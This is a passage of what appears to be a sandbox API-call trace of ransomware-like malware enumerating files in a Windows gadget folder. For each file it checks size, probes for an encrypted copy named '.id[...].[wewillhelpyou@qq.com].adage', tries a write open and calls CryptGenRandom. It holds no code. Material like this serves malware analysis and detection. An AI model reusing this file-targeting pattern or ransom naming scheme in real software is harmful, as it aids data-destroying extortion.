dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.247] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.248] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6034) returned 1 [0064.248] CloseHandle (hObject=0x1b0) returned 1 [0064.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html")) returned 0x20 [0064.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\currency.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\currency.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.249] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.249] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1958) returned 1 [0064.249] CloseHandle (hObject=0x1b0) returned 1 [0064.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml")) returned 0x20 [0064.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.250] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.250] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=66782) returned 1 [0064.250] CloseHandle (hObject=0x1b0) returned 1 [0064.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js")) returned 0x20 [0064.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\currency.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\currency.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.250] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.251] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=724) returned 1 [0064.251] CloseHandle (hObject=0x1b0) returned 1 [0064.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js")) returned 0x20 [0064.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\init.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\init.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.252] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.252] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5662) returned 1 [0064.252] CloseHandle (hObject=0x1b0) returned 1 [0064.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js")) returned 0x20 [0064.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\library.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\library.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.253] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.254] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=11252) returned 1 [0064.254] CloseHandle (hObject=0x1b0) returned 1 [0064.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js")) returned 0x20 [0064.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\localizedStrings.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\localizedstrings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.255] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.255] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=7720) returned 1 [0064.255] CloseHandle (hObject=0x1b0) returned 1 [0064.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js")) returned 0x20 [0064.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\service.js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\service.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.256] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.257] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6889) returned 1 [0064.257] CloseHandle (hObject=0x1b0) returned 1 [0064.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png")) returned 0x20 [0064.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.257] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.259] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=12585) returned 1 [0064.259] CloseHandle (hObject=0x1b0) returned 1 [0064.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png")) returned 0x20 [0064.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\activity16v.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.259] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.260] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=512) returned 1 [0064.260] CloseHandle (hObject=0x1b0) returned 1 [0064.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png")) returned 0x20 [0064.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.260] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.261] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=420) returned 1 [0064.261] CloseHandle (hObject=0x1b0) returned 1 [0064.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png")) returned 0x20 [0064.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.262] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.262] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=228) returned 1 [0064.262] CloseHandle (hObject=0x1b0) returned 1 [0064.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png")) returned 0x20 [0064.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.262] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.263] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=16491) returned 1 [0064.263] CloseHandle (hObject=0x1b0) returned 1 [0064.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png")) returned 0x20 [0064.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.263] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.265] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=43622) returned 1 [0064.265] CloseHandle (hObject=0x1b0) returned 1 [0064.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png")) returned 0x20 [0064.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.265] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.265] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=54042) returned 1 [0064.265] CloseHandle (hObject=0x1b0) returned 1 [0064.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png")) returned 0x20 [0064.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-3.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-3.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.266] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0064.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.267] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=62016) returned 1 [0064.267] CloseHandle (hObject=0x1b0) returned 1 [0064.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png")) returned 0x20 [0064.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-undocked-4.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-undocked-4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.267] CryptGenRandom (in: 